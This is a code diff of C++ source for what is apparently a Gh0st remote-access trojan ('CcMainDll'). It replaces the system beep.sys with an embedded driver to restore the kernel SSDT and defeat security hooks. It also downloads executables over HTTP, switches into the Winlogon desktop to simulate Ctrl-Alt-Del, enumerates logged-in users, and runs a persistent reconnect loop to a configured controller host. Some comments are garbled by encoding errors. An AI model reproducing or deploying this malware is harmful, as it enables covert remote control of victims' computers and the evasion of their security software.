|
||||
PIMAGE_FILE_HEADER pfh;
|
||||
PIMAGE_OPTIONAL_HEADER poh;
|
||||
PIMAGE_SECTION_HEADER psh;
|
||||
PIMAGE_BASE_RELOCATION pbr;
|
||||
PIMAGE_FIXUP_ENTRY pfe;
|
||||
|
||||
DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
|
||||
BOOL bFirstChunk;
|
||||
|
||||
GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);
|
||||
|
||||
// loop thru relocs to speed up the search
|
||||
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
|
||||
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
|
||||
|
||||
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
|
||||
|
||||
bFirstChunk=TRUE;
|
||||
// 1st IMAGE_BASE_RELOCATION.VirtualAddress of ntoskrnl is 0
|
||||
while (bFirstChunk || pbr->VirtualAddress) {
|
||||
bFirstChunk=FALSE;
|
||||
|
||||
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
|
||||
|
||||
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
|
||||
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
|
||||
dwFixups++;
|
||||
dwPointerRva=pbr->VirtualAddress+pfe->offset;
|
||||
// DONT_RESOLVE_DLL_REFERENCES flag means relocs aren't fixed
|
||||
dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;
|
||||
|
||||
// does this reloc point to KeServiceDescriptorTable.Base?
|
||||
if (dwPointsToRva==dwKSDT) {
|
||||
// check for mov [mem32],imm32. we are trying to find
|
||||
// "mov ds:_KeServiceDescriptorTable.Base, offset _KiServiceTable"
|
||||
// from the KiInitSystem.
|
||||
if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) {
|
||||
// should check for a reloc presence on KiServiceTable here
|
||||
// but forget it
|
||||
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;
|
||||
return dwKiServiceTable;
|
||||
}
|
||||
}
|
||||
|
||||
} else
|
||||
if (pfe->type!=IMAGE_REL_BASED_ABSOLUTE)
|
||||
{
|
||||
// should never get here
|
||||
// printf("\trelo type %d found at .%X\n",pfe->type,pbr->VirtualAddress+pfe->offset);
|
||||
}
|
||||
}
|
||||
*(PDWORD)&pbr+=pbr->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
//if (!dwFixups)
|
||||
// should never happen - nt, 2k, xp kernels have relocation data
|
||||
// printf("No fixups!\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
void ReSSDT( IN HANDLE hDriver)
|
||||
{
|
||||
HMODULE hKernel;
|
||||
DWORD dwKSDT; // rva of KeServiceDescriptorTable
|
||||
DWORD dwKiServiceTable; // rva of KiServiceTable
|
||||
PMODULES pModules=(PMODULES)&pModules;
|
||||
DWORD dwNeededSize,rc;
|
||||
DWORD dwKernelBase,dwServices=0;
|
||||
PCHAR pKernelName;
|
||||
PDWORD pService;
|
||||
PIMAGE_FILE_HEADER pfh;
|
||||
PIMAGE_OPTIONAL_HEADER poh;
|
||||
PIMAGE_SECTION_HEADER psh;
|
||||
|
||||
|
||||
FARPROC NtQuerySystemInformationAddr=GetProcAddress(GetModuleHandle("ntdll.dll"),"NtQuerySystemInformation");
|
||||
// get system modules - ntoskrnl is always first there
|
||||
rc=((PFNNtQuerySystemInformation)NtQuerySystemInformationAddr)(11,pModules,4,&dwNeededSize);
|
||||
if (rc==STATUS_INFO_LENGTH_MISMATCH) {
|
||||
pModules=(MODULES *)GlobalAlloc(GPTR,dwNeededSize);
|
||||
rc=((PFNNtQuerySystemInformation)NtQuerySystemInformationAddr)(11,pModules,dwNeededSize,NULL);
|
||||
} else {
|
||||
strange:
|
||||
return;
|
||||
}
|
||||
if (!NT_SUCCESS(rc)) goto strange;
|
||||
|
||||
// imagebase
|
||||
dwKernelBase=(DWORD)pModules->smi.Base;
|
||||
// filename - it may be renamed in the boot.ini
|
||||
pKernelName=pModules->smi.ModuleNameOffset+pModules->smi.ImageName;
|
||||
|
||||
// map ntoskrnl - hopefully it has relocs
|
||||
hKernel=LoadLibraryEx(pKernelName,0,DONT_RESOLVE_DLL_REFERENCES);
|
||||
if (!hKernel) {
|
||||
return;
|
||||
}
|
||||
|
||||
GlobalFree(pModules);
|
||||
|
||||
// our own export walker is useless here - we have GetProcAddress :)
|
||||
if (!(dwKSDT=(DWORD)GetProcAddress(hKernel,"KeServiceDescriptorTable"))) {
|
||||
return;
|
||||
}
|
||||
|
||||
// get KeServiceDescriptorTable rva
|
||||
dwKSDT-=(DWORD)hKernel;
|
||||
// find KiServiceTable
|
||||
if (!(dwKiServiceTable=FindKiServiceTable(hKernel,dwKSDT))) {
|
||||
return;
|
||||
}
|
||||
|
||||
// let's dump KiServiceTable contents
|
||||
|
||||
// MAY FAIL!!!
|
||||
// should get right ServiceLimit here, but this is trivial in the kernel mode
|
||||
GetHeaders((PCHAR)hKernel,&pfh,&poh,&psh);
|
||||
|
||||
for (pService=(PDWORD)((DWORD)hKernel+dwKiServiceTable);
|
||||
*pService-poh->ImageBase<poh->SizeOfImage;
|
||||
pService++,dwServices++)
|
||||
{
|
||||
ULONG ulAddr=*pService-poh->ImageBase+dwKernelBase;
|
||||
SetProc( hDriver,dwServices, &ulAddr );
|
||||
}
|
||||
|
||||
FreeLibrary(hKernel);
|
||||
|
||||
}
|
||||
|
||||
void StopService(LPCTSTR lpServiceName)
|
||||
{
|
||||
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
|
||||
if ( NULL != hSCManager )
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager, lpServiceName, DELETE | SERVICE_STOP);
|
||||
if ( NULL != hService )
|
||||
{
|
||||
SERVICE_STATUS ss;
|
||||
ControlService( hService, SERVICE_CONTROL_STOP, &ss);
|
||||
CloseServiceHandle( hService );
|
||||
}
|
||||
CloseServiceHandle( hSCManager );
|
||||
}
|
||||
}
|
||||
|
||||
void StartService(LPCTSTR lpService)
|
||||
{
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
|
||||
if ( NULL != hSCManager )
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
|
||||
if ( NULL != hService )
|
||||
{
|
||||
StartService(hService, 0, NULL);
|
||||
CloseServiceHandle( hService );
|
||||
}
|
||||
CloseServiceHandle( hSCManager );
|
||||
}
|
||||
}
|
||||
|
||||
LPBYTE FileToBuffer(LPCTSTR lpFileName, LPDWORD lpdwLength)
|
||||
{
|
||||
if (lpdwLength == NULL)
|
||||
return NULL;
|
||||
DWORD dwBytesRead = 0;
|
||||
HANDLE hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
*lpdwLength = GetFileSize(hFile, NULL);
|
||||
if (*lpdwLength == 0)
|
||||
return NULL;
|
||||
LPBYTE lpBuffer = new BYTE[*lpdwLength];
|
||||
ReadFile(hFile, lpBuffer, *lpdwLength, &dwBytesRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
return lpBuffer;
|
||||
}
|
||||
|
||||
HANDLE LoadDriver(HMODULE hModule)
|
||||
{
|
||||
g_strService[0] = 'B';
|
||||
g_strService[1] = 'e';
|
||||
g_strService[2] = 'e';
|
||||
g_strService[3] = 'p';
|
||||
g_strService[4] = '\0';
|
||||
|
||||
char szSysPath[50]; // \\Drivers\\beep.sys
|
||||
szSysPath[0] = '\\';
|
||||
szSysPath[1] = 'D';
|
||||
szSysPath[2] = 'r';
|
||||
szSysPath[3] = 'i';
|
||||
szSysPath[4] = 'v';
|
||||
szSysPath[5] = 'e';
|
||||
szSysPath[6] = 'r';
|
||||
szSysPath[7] = 's';
|
||||
szSysPath[8] = '\\';
|
||||
szSysPath[9] = 'b';
|
||||
szSysPath[10] = 'e';
|
||||
szSysPath[11] = 'e';
|
||||
szSysPath[12] = 'p';
|
||||
szSysPath[13] = '.';
|
||||
szSysPath[14] = 's';
|
||||
szSysPath[15] = 'y';
|
||||
szSysPath[16] = 's';
|
||||
szSysPath[17] = '\0';
|
||||
|
||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ<DEB8><C4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
StopService(g_strService);
|
||||
|
||||
GetSystemDirectory(g_strBeepSys, sizeof(g_strBeepSys));
|
||||
lstrcat(g_strBeepSys, szSysPath);
|
||||
// <20>п<EFBFBD><D0BF><EFBFBD>Ϊֻ<CEAA><D6BB>
|
||||
SetFileAttributes(g_strBeepSys, FILE_ATTRIBUTE_NORMAL);
|
||||
// <20><><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
g_lpBeepSys = FileToBuffer(g_strBeepSys, &g_dwBeepLen);
|
||||
if (g_dwBeepLen == 0)
|
||||
return NULL;
|
||||
|
||||
ModifyFromResource(hModule, IDR_SYS, "BIN", g_strBeepSys);
|
||||
|
||||
StartService(g_strService);
|
||||
|
||||
HANDLE hDriver = INVALID_HANDLE_VALUE;
|
||||
hDriver = CreateFileA( "\\\\.\\RESSDTDOS",
|
||||
GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
|
||||
return hDriver;
|
||||
}
|
||||
|
||||
void UnloadDriver( IN HANDLE hDriver )
|
||||
{
|
||||
|
||||
CloseHandle(hDriver);
|
||||
StopService(g_strService);
|
||||
|
||||
// <20>ָ<EFBFBD>beep.sys
|
||||
DWORD dwBytes = 0;
|
||||
HANDLE hFile = CreateFile
|
||||
(
|
||||
g_strBeepSys,
|
||||
GENERIC_WRITE,
|
||||
FILE_SHARE_WRITE,
|
||||
NULL,
|
||||
TRUNCATE_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hFile == NULL)
|
||||
return;
|
||||
|
||||
WriteFile(hFile, g_lpBeepSys, g_dwBeepLen, &dwBytes, NULL);
|
||||
CloseHandle(hFile);
|
||||
delete g_lpBeepSys;
|
||||
|
||||
StartService(g_strService);
|
||||
}
|
||||
|
||||
bool RestoreSSDT(HMODULE hModule)
|
||||
{
|
||||
HANDLE hDriver = LoadDriver(hModule);
|
||||
if (hDriver == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
UnloadDriver(hDriver);
|
||||
return false;
|
||||
}
|
||||
ReSSDT(hDriver);
|
||||
UnloadDriver(hDriver);
|
||||
return true;
|
||||
}
|
344
CcMainDll/CcMainDll/common/until.cpp
Normal file
344
CcMainDll/CcMainDll/common/until.cpp
Normal file
@@ -0,0 +1,344 @@
|
||||
|
||||
#include "..\pch.h"
|
||||
#if !defined(AFX_UNTIL_CPP_INCLUDED)
|
||||
#define AFX_UNTIL_CPP_INCLUDED
|
||||
|
||||
|
||||
#include <windows.h>
|
||||
#include <process.h>
|
||||
#include <Tlhelp32.h>
|
||||
#include <Wtsapi32.h>
|
||||
#include <wininet.h>
|
||||
#pragma comment(lib, "Wtsapi32.lib")
|
||||
#include "until.h"
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <locale.h>
|
||||
#include <stdlib.h>
|
||||
unsigned int __stdcall ThreadLoader(LPVOID param)
|
||||
{
|
||||
unsigned int nRet = 0;
|
||||
#ifdef _DLL
|
||||
try
|
||||
{
|
||||
#endif
|
||||
THREAD_ARGLIST arg;
|
||||
memcpy(&arg, param, sizeof(arg));
|
||||
SetEvent(arg.hEventTransferArg);
|
||||
// <20><><EFBFBD>潻<EFBFBD><E6BDBB>
|
||||
if (arg.bInteractive)
|
||||
SelectDesktop(NULL);
|
||||
|
||||
nRet = arg.start_address(arg.arglist);
|
||||
#ifdef _DLL
|
||||
}catch(...){};
|
||||
#endif
|
||||
return nRet;
|
||||
}
|
||||
|
||||
HANDLE MyCreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive)
|
||||
{
|
||||
HANDLE hThread = INVALID_HANDLE_VALUE;
|
||||
THREAD_ARGLIST arg;
|
||||
arg.start_address = (unsigned ( __stdcall *)( void * ))lpStartAddress;
|
||||
arg.arglist = (void *)lpParameter;
|
||||
arg.bInteractive = bInteractive;
|
||||
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
|
||||
hThread = (HANDLE)_beginthreadex((void *)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned *)lpThreadId);
|
||||
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
|
||||
CloseHandle(arg.hEventTransferArg);
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
||||
DWORD GetProcessID(LPCTSTR lpProcessName)
|
||||
{
|
||||
DWORD RetProcessID = 0;
|
||||
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
PROCESSENTRY32* info=new PROCESSENTRY32;
|
||||
info->dwSize=sizeof(PROCESSENTRY32);
|
||||
|
||||
if(Process32First(handle,info))
|
||||
{
|
||||
if (strcmpi(info->szExeFile,lpProcessName) == 0)
|
||||
{
|
||||
RetProcessID = info->th32ProcessID;
|
||||
return RetProcessID;
|
||||
}
|
||||
while(Process32Next(handle,info) != FALSE)
|
||||
{
|
||||
if (lstrcmpi(info->szExeFile,lpProcessName) == 0)
|
||||
{
|
||||
RetProcessID = info->th32ProcessID;
|
||||
return RetProcessID;
|
||||
}
|
||||
}
|
||||
}
|
||||
return RetProcessID;
|
||||
}
|
||||
|
||||
char *GetLogUserXP()
|
||||
{
|
||||
TCHAR *szLogName = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, WTSUserName, &szLogName, &dwSize))
|
||||
{
|
||||
char *lpUser = new char[256];
|
||||
lstrcpy(lpUser, szLogName);
|
||||
WTSFreeMemory(szLogName);
|
||||
return lpUser;
|
||||
}
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char *GetLogUser2K()
|
||||
{
|
||||
DWORD dwProcessID = GetProcessID("explorer.exe");
|
||||
if (dwProcessID == 0)
|
||||
return NULL;
|
||||
|
||||
BOOL fResult = FALSE;
|
||||
HANDLE hProc = NULL;
|
||||
HANDLE hToken = NULL;
|
||||
TOKEN_USER *pTokenUser = NULL;
|
||||
char *lpUserName = NULL;
|
||||
__try
|
||||
{
|
||||
// Open the process with PROCESS_QUERY_INFORMATION access
|
||||
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessID);
|
||||
if (hProc == NULL)
|
||||
{
|
||||
__leave;
|
||||
}
|
||||
fResult = OpenProcessToken(hProc, TOKEN_QUERY, &hToken);
|
||||
if(!fResult)
|
||||
{
|
||||
__leave;
|
||||
}
|
||||
|
||||
DWORD dwNeedLen = 0;
|
||||
fResult = GetTokenInformation(hToken,TokenUser, NULL, 0, &dwNeedLen);
|
||||
if (dwNeedLen > 0)
|
||||
{
|
||||
pTokenUser = (TOKEN_USER*)new BYTE[dwNeedLen];
|
||||
fResult = GetTokenInformation(hToken,TokenUser, pTokenUser, dwNeedLen, &dwNeedLen);
|
||||
if (!fResult)
|
||||
{
|
||||
__leave;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
__leave;
|
||||
}
|
||||
|
||||
SID_NAME_USE sn;
|
||||
TCHAR szDomainName[MAX_PATH];
|
||||
DWORD dwDmLen = MAX_PATH;
|
||||
|
||||
DWORD nNameLen = 256;
|
||||
lpUserName = new char[256];
|
||||
|
||||
fResult = LookupAccountSid(NULL, pTokenUser->User.Sid, lpUserName, &nNameLen,
|
||||
szDomainName, &dwDmLen, &sn);
|
||||
}
|
||||
__finally
|
||||
{
|
||||
if (hProc)
|
||||
::CloseHandle(hProc);
|
||||
if (hToken)
|
||||
::CloseHandle(hToken);
|
||||
if (pTokenUser)
|
||||
delete[] (char*)pTokenUser;
|
||||
|
||||
return lpUserName;
|
||||
}
|
||||
}
|
||||
|
||||
char *GetCurrentLoginUser()
|
||||
{
|
||||
OSVERSIONINFOEX OsVerInfo;
|
||||
ZeroMemory(&OsVerInfo, sizeof(OSVERSIONINFOEX));
|
||||
OsVerInfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);
|
||||
if(!GetVersionEx((OSVERSIONINFO *)&OsVerInfo))
|
||||
{
|
||||
OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
||||
if(!GetVersionEx((OSVERSIONINFO *)&OsVerInfo))
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if(OsVerInfo.dwMajorVersion == 5 && OsVerInfo.dwMinorVersion == 0)
|
||||
return GetLogUser2K();
|
||||
else
|
||||
return GetLogUserXP();
|
||||
|
||||
}
|
||||
|
||||
bool SwitchInputDesktop()
|
||||
{
|
||||
BOOL bRet = false;
|
||||
DWORD dwLengthNeeded;
|
||||
|
||||
HDESK hOldDesktop, hNewDesktop;
|
||||
char strCurrentDesktop[256], strInputDesktop[256];
|
||||
|
||||
hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
memset(strCurrentDesktop, 0, sizeof(strCurrentDesktop));
|
||||
GetUserObjectInformation(hOldDesktop, UOI_NAME, &strCurrentDesktop, sizeof(strCurrentDesktop), &dwLengthNeeded);
|
||||
|
||||
|
||||
hNewDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
|
||||
memset(strInputDesktop, 0, sizeof(strInputDesktop));
|
||||
GetUserObjectInformation(hNewDesktop, UOI_NAME, &strInputDesktop, sizeof(strInputDesktop), &dwLengthNeeded);
|
||||
|
||||
if (lstrcmpi(strInputDesktop, strCurrentDesktop) != 0)
|
||||
{
|
||||
SetThreadDesktop(hNewDesktop);
|
||||
bRet = true;
|
||||
}
|
||||
CloseDesktop(hOldDesktop);
|
||||
|
||||
CloseDesktop(hNewDesktop);
|
||||
|
||||
|
||||
return bRet;
|
||||
}
|
||||
|
||||
BOOL SelectHDESK(HDESK new_desktop)
|
||||
{
|
||||
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
DWORD dummy;
|
||||
char new_name[256];
|
||||
|
||||
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switch the desktop
|
||||
if(!SetThreadDesktop(new_desktop)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switched successfully - destroy the old desktop
|
||||
CloseDesktop(old_desktop);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// - SelectDesktop(char *)
|
||||
// Switches the current thread into a different desktop, by name
|
||||
// Calling with a valid desktop name will place the thread in that desktop.
|
||||
// Calling with a NULL name will place the thread in the current input desktop.
|
||||
|
||||
BOOL SelectDesktop(char *name)
|
||||
{
|
||||
HDESK desktop;
|
||||
|
||||
if (name != NULL)
|
||||
{
|
||||
// Attempt to open the named desktop
|
||||
desktop = OpenDesktop(name, 0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
else
|
||||
{
|
||||
// No, so open the input desktop
|
||||
desktop = OpenInputDesktop(0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
|
||||
// Did we succeed?
|
||||
if (desktop == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switch to the new desktop
|
||||
if (!SelectHDESK(desktop)) {
|
||||
// Failed to enter the new desktop, so free it!
|
||||
CloseDesktop(desktop);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// We successfully switched desktops!
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL SimulateCtrlAltDel()
|
||||
{
|
||||
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
// Switch into the Winlogon desktop
|
||||
char name[] = "Winlogon";
|
||||
if (!SelectDesktop(name))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Fake a hotkey event to any windows we find there.... :(
|
||||
// Winlogon uses hotkeys to trap Ctrl-Alt-Del...
|
||||
PostMessage(HWND_BROADCAST, WM_HOTKEY, 0, MAKELONG(MOD_ALT | MOD_CONTROL, VK_DELETE));
|
||||
|
||||
// Switch back to our original desktop
|
||||
if (old_desktop != NULL)
|
||||
SelectHDESK(old_desktop);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
bool http_get(LPCTSTR szURL, LPCTSTR szFileName)
|
||||
{
|
||||
HINTERNET hInternet, hUrl;
|
||||
HANDLE hFile;
|
||||
char buffer[1024];
|
||||
DWORD dwBytesRead = 0;
|
||||
DWORD dwBytesWritten = 0;
|
||||
BOOL bIsFirstPacket = true;
|
||||
BOOL bRet = true;
|
||||
hInternet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
|
||||
if (hInternet == NULL)
|
||||
return false;
|
||||
|
||||
hUrl = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
|
||||
if (hUrl == NULL)
|
||||
return false;
|
||||
|
||||
hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
|
||||
if (hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
do
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
InternetReadFile(hUrl, buffer, sizeof(buffer), &dwBytesRead);
|
||||
// <20><><EFBFBD>жϵ<D0B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7>PE<50>ļ<EFBFBD>
|
||||
if (bIsFirstPacket && ((PIMAGE_DOS_HEADER)buffer)->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
bRet = false;
|
||||
break;
|
||||
}
|
||||
bIsFirstPacket = false;
|
||||
|
||||
WriteFile(hFile, buffer, dwBytesRead, &dwBytesWritten, NULL);
|
||||
} while(dwBytesRead > 0);
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
|
||||
InternetCloseHandle(hUrl);
|
||||
InternetCloseHandle(hInternet);
|
||||
|
||||
return bRet;
|
||||
}
|
||||
|
||||
#endif // !defined(AFX_UNTIL_CPP_INCLUDED)
|
33
CcMainDll/CcMainDll/common/until.h
Normal file
33
CcMainDll/CcMainDll/common/until.h
Normal file
@@ -0,0 +1,33 @@
|
||||
#if !defined(AFX_UNTIL_H_INCLUDED)
|
||||
#define AFX_UNTIL_H_INCLUDED
|
||||
#include "RegEditEx.h"
|
||||
|
||||
typedef struct
|
||||
{
|
||||
unsigned ( __stdcall *start_address )( void * );
|
||||
void *arglist;
|
||||
bool bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HANDLE hEventTransferArg;
|
||||
}THREAD_ARGLIST, *LPTHREAD_ARGLIST;
|
||||
|
||||
unsigned int __stdcall ThreadLoader(LPVOID param);
|
||||
|
||||
HANDLE MyCreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
|
||||
DWORD GetProcessID(LPCTSTR lpProcessName);
|
||||
char *GetLogUserXP();
|
||||
char *GetLogUser2K();
|
||||
char *GetCurrentLoginUser();
|
||||
|
||||
bool SwitchInputDesktop();
|
||||
|
||||
BOOL SelectHDESK(HDESK new_desktop);
|
||||
BOOL SelectDesktop(char *name);
|
||||
BOOL SimulateCtrlAltDel();
|
||||
bool http_get(LPCTSTR szURL, LPCTSTR szFileName);
|
||||
#endif // !defined(AFX_UNTIL_H_INCLUDED)
|
193
CcMainDll/CcMainDll/dllmain.cpp
Normal file
193
CcMainDll/CcMainDll/dllmain.cpp
Normal file
@@ -0,0 +1,193 @@
|
||||
// dllmain.cpp : 定义 DLL 应用程序的入口点。
|
||||
#include "pch.h"
|
||||
#include "common/KeyboardManager.h"
|
||||
#include "common/KernelManager.h"
|
||||
#include "common/login.h"
|
||||
|
||||
char g_strSvchostName[MAX_PATH];//服务名
|
||||
char g_strHost[MAX_PATH];
|
||||
DWORD g_dwPort;
|
||||
DWORD g_dwServiceType;
|
||||
|
||||
enum
|
||||
{
|
||||
NOT_CONNECT, // 还没有连接
|
||||
GETLOGINFO_ERROR,
|
||||
CONNECT_ERROR,
|
||||
HEARTBEATTIMEOUT_ERROR
|
||||
};
|
||||
|
||||
DWORD WINAPI main(char *lpServiceName);
|
||||
//处理异常
|
||||
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
|
||||
// 发生异常,重新创建进程
|
||||
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strSvchostName, 0, NULL);
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI main(char *lpServiceName)
|
||||
{
|
||||
// lpServiceName,在ServiceMain返回后就没有了
|
||||
char strServiceName[256] = {0};
|
||||
char strKillEvent[50] = { 0 };
|
||||
HANDLE hInstallMutex = NULL;
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// Set Window Station
|
||||
HWINSTA hOldStation = GetProcessWindowStation();
|
||||
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
|
||||
if (hWinSta != NULL)
|
||||
SetProcessWindowStation(hWinSta);
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
//--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
|
||||
//--这里要在dllmain中为CKeyboardManager::g_hInstance赋值
|
||||
if (CKeyboardManager::g_hInstance != NULL)
|
||||
{
|
||||
//设置异常
|
||||
SetUnhandledExceptionFilter(bad_exception);
|
||||
|
||||
lstrcpy(strServiceName, lpServiceName);
|
||||
wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名
|
||||
|
||||
hInstallMutex = CreateMutex(NULL, true, g_strHost);
|
||||
//ReConfigService(strServiceName); //--lang--
|
||||
// 删除安装文件
|
||||
// DeleteInstallFile(lpServiceName); //--lang--
|
||||
}
|
||||
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
|
||||
SetErrorMode(SEM_FAILCRITICALERRORS);
|
||||
char *lpszHost = NULL;
|
||||
DWORD dwPort = 80;
|
||||
char *lpszProxyHost = NULL;
|
||||
DWORD dwProxyPort = 0;
|
||||
char *lpszProxyUser = NULL;
|
||||
char *lpszProxyPass = NULL;
|
||||
|
||||
HANDLE hEvent = NULL;
|
||||
|
||||
//---这里声明了一个 CClientSocket类
|
||||
CClientSocket socketClient;
|
||||
BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
|
||||
|
||||
//这个循环里判断是否连接成功如果不成功则继续向下
|
||||
while (1)
|
||||
{
|
||||
// 如果不是心跳超时,不用再sleep两分钟
|
||||
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
|
||||
{
|
||||
// 2分钟断线重连, 为了尽快响应killevent
|
||||
for (int i = 0; i < 2000; i++)
|
||||
{
|
||||
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
|
||||
if (hEvent != NULL)
|
||||
{
|
||||
socketClient.Disconnect();
|
||||
CloseHandle(hEvent);
|
||||
break;
|
||||
break;
|
||||
|
||||
}
|
||||
// 改一下
|
||||
Sleep(60);
|
||||
}
|
||||
}
|
||||
//上线地址
|
||||
lpszHost = g_strHost;
|
||||
dwPort = g_dwPort;
|
||||
|
